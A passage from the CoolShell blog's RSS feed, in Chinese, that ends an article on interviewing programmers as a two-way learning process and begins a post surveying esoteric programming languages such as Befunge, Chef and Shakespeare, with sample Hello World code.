id=\"more-4490\"></span></p>\n<ul>\n<li>面试的气氛会很不错，应聘者会放松，表现自然，更接受于真实的状态。</li>\n<li>面试中的交流和互动（而不是一问一答）会让你更全面的考查和了解一个人。</li>\n<li>非应试的面试，会让你了解得更多。</li>\n<li>真实的了解一个人，你才能做出真正正确的结论。</li>\n</ul>\n<h4>向应聘者学习</h4>\n<p>下面有几个观点</p>\n<ul>\n<li>面试的过程是一个相互学习的过程，并不是你为难面试者的过程。</li>\n<li>一问一答是很一种呆板死板的过程，相互讨论相互学习，有良好的互动才是好的面试过程。</li>\n<li>面试官要证明的不是你有多强有多聪明，而是要挖掘应聘者的优势和能力。</li>\n<li>面试官用为自己的问题预设好一个标准答案，看看应聘者能为你带来什么。</li>\n<li>向来应聘的人学习，而不是刁难。</li>\n</ul>\n<p><strong>无论你多牛，要难倒你实在是太容易了。出难题不是目的，难倒人也很容易，出难题只不过是用来了解应聘者能力的一个手段，而不是面试的全部</strong>。</p>\n<p>我不知道你喜欢不喜欢一些竞技类的运动？比如踢球，打篮球，羽毛球，下象棋等，你一般想和什么样的人玩？是差的，还是强的？所以，<strong>能够从面试者那里学到东西，喜欢和面试者一起工作，这才是面试真正的目的</strong>。</p>\n<p>对于一个团队来说，如果大家都是一样的想法，一样的主张，一样的倾向，那么这个团队最终会是一个闭塞的团队，你如果不能真正接纳不同想法的人，不同主张的人，那么你也将失去进步的机会。<strong>如果你的团队总是在招入和你一样的人，那么你的团队怎么可能会有out-of-box的想法呢？世界因为不同而美好</strong>。</p>\n<p>另外，对于公司来说，<strong>如果你招进来的人还不如已经有的人，作为一个公司，你又怎么能有更好的人让你的公司进步呢</strong>？</p>\n<p>所以，面试应该是向面试者学习的一个过程。当然，<strong>如果你从他身上学不到什么，那么你就教他一些吧。这样，就算是面试不通过，面试者也会欣然接受的</strong>。不然，让面试者产生一些负面情绪，出去说一些不好的话，也有损你和公司的形象。</p>\n<h4>一些相关的点评</h4>\n<p>下面是我根据酷壳的一些<a href=\"https://coolshell.cn/tag/interview\" target=\"_blank\">面试题的文章</a>后的回复、还有我朋友的经历，还有这篇有关豆瓣的产品经理的<a title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\" href=\"http://www.douban.com/note/146145117/\" target=\"_blank\">这篇文章</a>的一些点评。大家可以看看我从这些地方看到东西靠不靠谱。</p>\n<p><strong>酷壳的面试题中的答复</strong></p>\n<p>先说酷壳的那篇“<a title=\"“火柴棍式”程序员面试题\" href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\">火柴棍式的面试题</a>”，这个面试题其实很没什么意思。主要考查你对代码逻辑的了解程度。因为设置了回复可见答案，所以这篇文章的回复量达千把条。从回复中，我看到：</p>\n<ul>\n<li>一些朋友想不出来就直接看答案了。我可以看出，有一些朋友习惯获得知识，而不习惯独立思考。甚至有畏难情绪，从另一方面来说，可以看出我国的教育还真不是一般的差。</li>\n<li>一些朋友想不全。从这点来看，我觉得很正常，尤其是想出两种来的，我可以感觉到他们的努力思考了，可能还做了一些尝试。挺不错的。可惜我看不到你思考的方式，是在纸上画了画，还是编译了个程序跑了跑，还是别的什么。这样我会了解你更多。</li>\n<li>一些朋友给出的答案中有错的。这说明了这类朋友可能不喜欢做测试，时常想当然，或是做事比较冲动，并不足够严谨。这么简单的程序，验证能花多少精力呢？</li>\n<li>还有少数的朋友没有看明白题目要求。这说明了这类朋友太粗心了，在工作当中可能会表现为误解需求和别人的话。沟通有问题。</li>\n</ul>\n<p>再说说那篇“<a title=\"面试题：火车运煤问题\" href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\">火车运煤</a>”的问题，这个面试题我觉得主要是看看大家的解题思路，表达能力。</p>\n<ul>\n<li>首先，我很惊喜有人很快就用数学做了解答，很不错，这个人的数学功底很不错。能用数学解题的人一般来说都是算法比较强的人。</li>\n<li>有人说抱怨我没有说火车可以调头回去，所以没有想到这样的方法。如果是在面试中我会做提示的。我不会因为你不知道调头这个潜规则而否定你的。当然，如果你能想到的话说明你的脑袋还是比较灵的。</li>\n<li>还有很多人说他的方法比较土，只运了400吨煤，416吨的或333吨，一看就是没有看提示的，我觉得这些人能够通过独立思考找到方法，这类的人其实已经不错了。顺着这个思路优化也只是时间的问题了。</li>\n<li>更可喜的是，我看到了有一些朋友在看到别人的更好的方法后和自己的方法进行了比较，并找到了为什么自己的方法不如他的原因。这样的人我认为是懂得“总结”和“比较”的，这样的人总是在不断地学习和改善自己的。</li>\n<li>还有人说到了动态规划，如果是在面试的时候，我很想向这位朋友学习一下用动态规划来解这题。</li>\n<li>还有朋友说到了火车调头只能在有站的地方。这个朋友一看要么就是搞需求分析的人，要么就是较真的人。需要进一步了解。但不管怎么样，这样的朋友的观察能力是很不错的。</li>\n<li>还有一些朋友给出的答案是正确的。但是表达方面比较复杂，有些没有看懂。可见，解题 的能力是有的，只是表达能力还有待提高。</li>\n</ul>\n<p><strong>豆瓣产品经理的面试</strong></p>\n<p>再说说豆瓣上的<a title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\" href=\"http://www.douban.com/note/146145117/\" target=\"_blank\">这篇文章</a>，那篇文章里，面试官问了一个比较大的问题，那是仁者见仁，智者见智的问题，并且面试官并不满意应聘者给出的答案，并在用其主观意识强加一些东西给应聘者，并不断地和应聘者纠缠。后来，面试官回复到“重点测了两个问题：一是判别事情的标准和方法；二是在多种PK下产品经理的压力反应”。</p>\n<p>下面是我观察到的：</p>\n<ul>\n<li>其一、这种似事而非的仁者见仁，智者见仁，一万人有一万个答案。所以，这种怎么答都可以的问题是很难有标准的，我认为豆瓣的面试官以这种问题来考查面试者的标准太有问题了。更好的问题是：比较一下新浪和twitter这两个产品。</li>\n<li>其二、多种想法PK的压力反应。这点没有问题，如果有机会我想问问这位面试官，豆瓣产品经理们的PK各自的想法时是以这种纠缠的方式吗？如果是这样的话，那我很为你们担忧啊。</li>\n<li>其三、很明显，应聘者不知道面试官想说什么，所以应聘者总是给出一些模棱两可的回答。回答得很政客，呵呵。</li>\n<li>其四、问的问题都是一些假设性的问题，假设技术人员不可沟通。人家说了，还没有见过不能沟通的情况。结果还要继续追问。这样你既要观察不到你想要的，也搞得大家不愉快。更好的问题的：“请你给一个你和一个很难沟通的人沟通的示例”，或是当应聘者说了“坚持己见”的时候，也应该追问“能给一个你坚持己见的例子吗？”。</li>\n<li>其五、整个面试过程完全是在谈一些虚的东西，就像天上的浮云，一点实实在在的东西都没有。比如下面这两个实实在在的问题：“你以前设计过什么产品？”，“你和你的技术团队是怎么合作的？”</li>\n</ul>\n<p>这是一个完完全全失败的面试，这个面试官根本不懂面试，甚至工作方法也可能很有问题。也许他只是想找一个能够在工作中附和他的人。</p>\n<p><strong>朋友的面试</strong></p>\n<p>最后说说我那个朋友的面试，我的这个朋友学习能力很强，也很好专研，工作中解决了很多很困难甚至很底层的问题。他做软件开发时间并不长，但是他对这个行业很有热情，也很执着，并有着相当不错的技术功底。这天他遇到了一个面试官，根据朋友的描述，这位面试官，主要问题了三个问题，一个是关于异步的，一个是关于性能调优的，还有一个是关于学习能力的。</p>\n<ul>\n<li>问到异步的问题，我这个朋友说到了多线程中的异步调用，但是他可能问的是网络或是业务中的异步，要不然就是Linux 内核中的异步，当然他也没有说清楚，但他很不满意我朋友的答案，并让我朋友回去多看看书。</li>\n<li>问到性能调优的问题时，我这个朋友说了性能调优分三级，业务级，指令级和CPU级，并举例说了使用了一个叫VTune的性能分析工具。面试官却说原来你只懂Windows，有点不屑，并说他只会使用商业工具，更不屑。</li>\n<li>当我朋友向他澄清问题时，面试官只是摇头，叹气。并在应聘者作答的过程中不断的打断对方。</li>\n</ul>\n<p>我的看法如下：</p>\n<ul>\n<li>对于异步来说，我认为这是一种设计或是一种想法，可能会有很多种不同的实现方式，在不同的场景中会有不同的用法。面试官并没有考查应聘者对异步方法的理解，也没有考查异步方法可以用来解决什么，异步方法的优势和劣势，等等。只是觉得应聘者没有给出他想要的答案。</li>\n<li>对于性调优的问题，我认为应聘者的思路和知识都很不错，还有使用VTune的经验。无论使用Windows还是Linux，无论使用商业的还是开源的Profiler，很多东西都是相通的，怎么能够因为这个东西不对自己的口味而下结论。为什么不向人家学习一下VTune呢？使用工具只是操作技能啊。</li>\n<li>面试官应该是用微笑来鼓励应聘者的，而不是用摇头和叹气，频繁打断对方也是一个相当不好的习惯。看来这个面试官很不能接受不同的东西。</li>\n</ul>\n<p>这位有很不错的技术能力的人，看来并不适合做一个面试官，因为他面试的东西都只在知识层次，而且这位面试官有强烈的喜好和倾向，所以，他必然会错过那些有能力但并不合他口味的人。</p>\n<p>哎，面对这样的面试官，大家伤不起啊！</p>\n<p>（全文完）</p>\n<p><span style=\"color: #ff0000;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"给程序员新手的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_title\">给程序员新手的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"再谈“我是怎么招聘程序员的”（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（上）</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/job-interview-150x150.gif\" alt=\"我是怎么招聘程序员的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_title\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4490.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>73</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>BT雷人的程序语言（大全）</title>\n\t\t<link>https://coolshell.cn/articles/4458.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4458.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 13 Apr 2011 00:34:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Befunge]]></category>\n\t\t<category><![CDATA[BIT]]></category>\n\t\t<category><![CDATA[brainfuck]]></category>\n\t\t<category><![CDATA[Chef]]></category>\n\t\t<category><![CDATA[Haifu]]></category>\n\t\t<category><![CDATA[INTERCAL]]></category>\n\t\t<category><![CDATA[Malbolge]]></category>\n\t\t<category><![CDATA[Ook!]]></category>\n\t\t<category><![CDATA[PerlYuYan]]></category>\n\t\t<category><![CDATA[Piet]]></category>\n\t\t<category><![CDATA[Shakespeare]]></category>\n\t\t<category><![CDATA[Unlambda]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4458</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前本站的BT雷人的程序语言吗？除了那几个Brainfuck，LOLCODE和WhiteSpace，我以为这些是比较BT的语言，但是自从这两天我在网上看到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4458.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4458.html\">BT雷人的程序语言（大全）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前本站的<a title=\"BT雷人的程序语言\" href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">BT雷人的程序语言</a>吗？除了那几个<a href=\"http://www.muppetlabs.com/~breadbox/bf/\" target=\"_blank\">Brainfuck</a>，<a href=\"http://lolcode.com/\" target=\"_blank\">LOLCODE</a>和<a href=\"http://compsoc.dur.ac.uk/whitespace/index.php\" target=\"_blank\">WhiteSpace</a>，我以为这些是比较BT的语言，但是自从这两天我在网上看到一些（见文章最后的参考一节），我发现我错了，这个世界上，只有更变态，没有最变态。不相，你看看下面这些，简直变态到了极致啊。（下面的语言变态不分排名）</p>\n<h4>Befunge</h4>\n<p>第一个变态语言<a href=\"http://quadium.net/funge/spec98.html\" target=\"_blank\">Befunge</a>。<a href=\"http://en.wikipedia.org/wiki/Befunge\" target=\"_blank\">维基</a>上面说——这门语言由Chris Pressey在1993年创造，本意为设计一种为难编译器的语言……结果马上出现了一批编译器。Befunge的代码是二维的。它用 &lt; &gt; v ^ 这四个符号来控制一个指针在代码中移动，指针经过一个字符或数字则把它压入一个栈，四则运算符号的功能就是弹出栈顶两个元素进行计算后把结果压回去。用 _ 和 | 来表示有条件的方向选择：当栈顶元素为0时向右（上）走，否则向左（下）走。&amp; 和 ~ 分别用于读入数字或字符并压入栈，句号和逗号分别表示将栈顶元素作为整数或字符输出。最后以一个@符号表示程序结束。Befunge代码的注释不需要任何符号标明，你可以把注释写在程序的任何地方，只要运行时指针不会经过它就行了。</p>\n<p>下面这段Hello World代码：</p>\n<pre style=\"padding-left: 30px;\">&gt;              v\nv  ,,,,,\"Hello\"&lt;\n&gt;48*,          v\nv,,,,,,\"World!\"&lt;\n&gt;25*,@</pre>\n<p>下面一个是算圆周率的代码，非常的壮观：</p>\n<p><span id=\"more-4458\"></span></p>\n<pre style=\"padding-left: 30px;\">aa*          v                  +------------------------+\nvp*9920p*9930&lt;                  | Pi generator in Bef-97 |\n&gt;:09a*pa*3/1+19a*p09a*g:09b*v   |                        |\nv_@# g*b90 p*b910        &lt; p&lt;   | 7/2/1997, Kevin Vigor  |\n&gt;19a*g:+1-29b*p19a*g::09v       +------------------------+\nv*a90g*b90*g*b91: _v#p*9&lt;\n&gt;g-#v_ 2a*+\\$  v  :$\n&gt;\\1-aa*ga*+v  p\nv1:/g*b92p*991:&lt;  *\n&gt;9b*p29b*g*199*g\\v9\nv*b92p*aa-1g*990-&lt;9\n&gt;g2-29b*p099*g1-:0^\nv -9p*b92:%ag*991  &lt;\n&gt;#v_ 299*g1+299*p&gt;       ^\n&gt;09b*g:#v_$v\nv93p*b90-1&lt;\n&gt;9*g199*ga/+.v\nv:g*992 &lt;p*9 92-&lt;\nv_29b*g399*p ^\n&gt;09b*g:#v_v      1\nvp*b90-1    &lt; $      g\n&gt;199*g9<code data-enlighter-language=\"cb\" class=\"EnlighterJSRAW\">#v_&#039;9,v      *\n&gt;&#039;0, &gt;&#039; ,299^&lt;/pre&gt;\n通常认为Befunge是第一个基于“二维控制流”的语言，后来衍生出的一大批类似的语言都是受的Befunge影响。例如PingPong语言就是把Befunge的四种箭头符号换成正反斜杠，控制指针移动方向90度旋转，起一个反弹的作用。\n&lt;h4&gt;Chef&lt;/h4&gt;\n&lt;a href=&quot;http://www.dangermouse.net/esoteric/chef.html&quot; target=&quot;_blank&quot;&gt;Chef&lt;/a&gt;如其名一样“主厨”(&lt;a href=&quot;http://en.wikipedia.org/wiki/Chef_(programming_language)&quot; target=&quot;_blank&quot;&gt;Wiki link&lt;/a&gt;)，这门语言主要是为了让程序代码看起来像菜谱。这可以使得我们的&lt;a title=&quot;食客还是大厨&quot; href=&quot;https://coolshell.cn/articles/3589.html&quot; target=&quot;_blank&quot;&gt;程序员更像是大厨&lt;/a&gt;了，呵呵。该语言于2002年由David Morgan-Mar推出，核心是栈操作，特征就是——一套完整的Chef代码就是一个菜谱，程序名就是菜名，变量声明就是罗列原材料，后面一系列栈操作，就是菜肴的制作方法。把程序编写比作调和鼎鼐，有点意思，家庭主妇（或者“准家庭主妇”）试试看，权且当作人生预习。\n\n用Chef编写Hello World代码如下：（在其网站上还有一个&lt;a href=&quot;http://www.dangermouse.net/esoteric/chef_fib.html&quot; target=&quot;_blank&quot;&gt;斐波拉契数的例子&lt;/a&gt;）\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Hello World Souffle.\n\nIngredients.\n72 g haricot beans\n101 eggs\n108 g lard\n111 cups oil\n32 zucchinis\n119 ml water\n114 g red salmon\n100 g dijon mustard\n33 potatoes\n\nMethod.\nPut potatoes into the mixing bowl.\nPut dijon mustard into the mixing bowl.\nPut lard into the mixing bowl.\nPut red salmon into the mixing bowl.\nPut oil into the mixing bowl.\nPut water into the mixing bowl.\nPut zucchinis into the mixing bowl.\nPut oil into the mixing bowl.\nPut lard into the mixing bowl.\nPut lard into the mixing bowl.\nPut eggs into the mixing bowl.\nPut haricot beans into the mixing bowl.\nLiquefy contents of the mixing bowl.\nPour contents of the mixing bowl into the baking dish.\n\nServes 1.&lt;/pre&gt;\n代码解读——原材料名显然可以随便改成别的原料，哪怕用单个字母也可以，不过少了点趣味性，但原料前面代表数量的数字不能改，那是ASCII代码。接下来菜肴制作方法就是把一个个字母和符号（都是ASCII）压入栈（就是代码中的“Put XXX into the mixing bowl”，从最后一个感叹号开始压），最后再把你做的菜托出上桌。\n\n顺便说下，David Morgan-Mar已经设计出8种非主流编程语言了，还有一个变态的操作系统&lt;a href=&quot;http://www.dangermouse.net/esoteric/petrovich.html&quot; target=&quot;_blank&quot;&gt;Petrovich&lt;/a&gt;。  参看这位大哥的——&lt;a href=&quot;http://www.dangermouse.net/esoteric/&quot; target=&quot;_blank&quot;&gt;DM&#039;s Esoteric Programming Languages&lt;/a&gt;（下面会介绍这位老大搞出来的语言）\n&lt;h4&gt;&lt;strong&gt;Shakespeare&lt;/strong&gt;&lt;/h4&gt;\n&lt;a href=&quot;http://shakespearelang.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;Shakespeare&lt;/a&gt;语言正如其名，其要让你的程序像“莎士比亚”的剧本一样充满艺术气息。\n\n这个语言于2001年由Karl Hasselstrom和Jon Aslund联合推出，Shakespeare的代码完全模仿莎士比亚的戏剧。它也是一个基于栈的程序语言，程序中出场的每一个人物都代表一个栈。Shakespeare的代码自由度很高，因此同一个程序你可以写出完全不同的代码出来。\n\nShakespeare的Hello World代码如下（就是一部比较完整的“罗密欧与朱丽叶”的戏剧，作好心理准备）。“剧本”内容很无聊，就是一帮人在莫名其妙地称赞某些东西，里头还有古英语词汇，莎翁要是见了，可能会吐血。这里面Hello World或其ASCII码体现在全剧时不时出现的“The difference between……”句里面，根据各指代物品的好坏（比如鲜花算好的，牛粪算坏的）代表各数字，再进行各种运算最后相减（“The difference”暗指减法），得出一个字母或符号的ASCII码表。发明这个语言的人真是BT啊。\n&lt;pre style=&quot;padding-left: 60px;&quot;&gt;Romeo, a young man with a remarkable patience.\nJuliet, a likewise young woman of remarkable grace.\nOphelia, a remarkable woman much in dispute with Hamlet.\nHamlet, the flatterer of Andersen Insulting A/S.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Act I: Hamlet&#039;s insults and flattery.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Scene I: The insulting of Romeo.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Enter Hamlet and Romeo]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Hamlet:\nYou lying stupid fatherless big smelly half-witted coward!\nYou are as stupid as the difference between a handsome rich brave hero and thyself! Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;You are as brave as the sum of your fat little stuffed misused dusty old rotten codpiece and a beautiful fair warm peaceful sunny summer&#039;s day. You are as healthy as the difference between the sum of the sweetest reddest rose and my father and yourself! Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;You are as cowardly as the sum of yourself and the difference between a big mighty proud kingdom and a horse. Speak your mind.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Exit Romeo]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Scene II: The praising of Juliet.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Enter Juliet]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Hamlet:\nThou art as sweet as the sum of the sum of Romeo and his horse and his black cat! Speak thy mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Exit Juliet]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Scene III: The praising of Ophelia.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Enter Ophelia]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Hamlet:\nThou art as lovely as the product of a large rural town and my amazing bottomless embroidered purse. Speak thy mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Thou art as loving as the product of the bluest clearest sweetest sky and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself. Speak thy mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Exeunt Ophelia and Hamlet]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Act II: Behind Hamlet&#039;s back.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Scene I: Romeo and Juliet&#039;s conversation.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Enter Romeo and Juliet]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Romeo:\nSpeak your mind. You are as worried as the sum of yourself and the difference between my small smooth hamster and my nose. Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Juliet:\nSpeak YOUR mind! You are as bad as Hamlet! You are as small as the difference between the square of the difference between my little pony and your big hairy hound and the cube of your sorry little codpiece. Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Exit Romeo]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Scene II: Juliet and Ophelia&#039;s conversation.&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Enter Ophelia]&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Juliet:\nThou art as good as the quotient between Romeo and the sum of a small furry animal and a leech. Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;Ophelia:\nThou art as disgusting as the quotient between Romeo and twice the difference between a mistletoe and an oozing infected blister! Speak your mind!&lt;/pre&gt;\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;[Exeunt]&lt;/pre&gt;\n&lt;h4&gt;BIT&lt;/h4&gt;\n&lt;a href=&quot;http://www.dangermouse.net/esoteric/bit.html&quot; target=&quot;_blank&quot;&gt;BIT语言&lt;/a&gt;也是 David Morgan-Mar 搞出来的。程序员在拥有访问所有数据的全部权限。这是一款强大的编程工具。在高级程序语言中，该工具可以操作这些令人费解的数据。\n\n看看下面这段代码，其展示了BIT的强大之处——代码和注释的完美统一。（很像BASIC）\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;LINE NUMBER ONE CODE READ GOTO ONE ZERO\nLINE NUMBER ONE ZERO CODE VARIABLE ZERO EQUALS THE JUMP REGISTER GOTO ONE ONE\nLINE NUMBER ONE ONE CODE READ GOTO ONE ZERO ZERO\nLINE NUMBER ONE ZERO ZERO CODE VARIABLE ONE EQUALS THE JUMP REGISTER GOTO ONE ZERO ONE\nLINE NUMBER ONE ZERO ONE CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE GOTO ONE ZERO ZERO ZERO IF THE JUMP REGISTER IS EQUAL TO ZERO\nLINE NUMBER ONE ONE ZERO CODE PRINT ONE GOTO ONE ONE ONE\nLINE NUMBER ONE ONE ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ZERO ZERO CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ZERO CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ONE NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ZERO ZERO ONE IF THE JUMP REGISTER IS EQUAL TO ZERO GOTO ONE ZERO ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE\nLINE NUMBER ONE ZERO ZERO ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ONE ZERO CODE PRINT ONE&lt;/pre&gt;\n当然，对于空格和换行符，显得太冗余了，去掉他们也没有问题。\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;LINENUMBERONECODEREADGOTOONEZEROLINENUMBERONEZEROCODEVARIABLEZEROEQUALSTHEJUMPR\nEGISTERGOTOONEONELINENUMBERONEONECODEREADGOTOONEZEROZEROLINENUMBERONEZEROZEROCO\nDEVARIABLEONEEQUALSTHEJUMPREGISTERGOTOONEZEROONELINENUMBERONEZEROONECODETHEJUMP\nREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISNANDOPE\nNPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISGOTOONEONEZEROIFTHEJUMPR\nEGISTERISEQUALTOONEGOTOONEZEROZEROZEROIFTHEJUMPREGISTERISEQUALTOZEROLINENUMBERO\nNEONEZEROCODEPRINTONEGOTOONEONEONELINENUMBERONEONEONECODEPRINTZEROLINENUMBERONE\nZEROZEROZEROCODETHEJUMPREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEZER\nOCLOSEPARENTHESISNANDOPENPARENTHESISVARIABLEONENANDVARIABLEONECLOSEPARENTHESISG\nOTOONEZEROZEROONEIFTHEJUMPREGISTERISEQUALTOZEROGOTOONEZEROONEZEROIFTHEJUMPREGIS\nTERISEQUALTOONELINENUMBERONEZEROZEROONECODEPRINTZEROLINENUMBERONEZEROONEZEROCOD\nEPRINTONE&lt;/pre&gt;\n&lt;h4&gt;Haifu&lt;/h4&gt;\n&lt;a href=&quot;http://www.dangermouse.net/esoteric/haifu.html&quot; target=&quot;_blank&quot;&gt;Haifu&lt;/a&gt;程序语言也是David Morgan-Mar 搞出来的。从命名上就可以看出来它是一个汉语拼音。正是如此，作者想使用东方的哲学来创造一种编程的语言。其中还有Yin（阴）和 Yang（阳）——相当于布尔变量中的True/False，当然，也有金（Metal）木（Wood）水（Water）火（Fire）土（Earth）。呵呵。\n&lt;ul&gt;\n\t&lt;li&gt;Wood: tree, grass, cherry, oak.&lt;/li&gt;\n\t&lt;li&gt;Fire: flame, ash, smoke, embers.&lt;/li&gt;\n\t&lt;li&gt;Earth: soil, mountain, rock, plain.&lt;/li&gt;\n\t&lt;li&gt;Metal: sword, iron, plough, 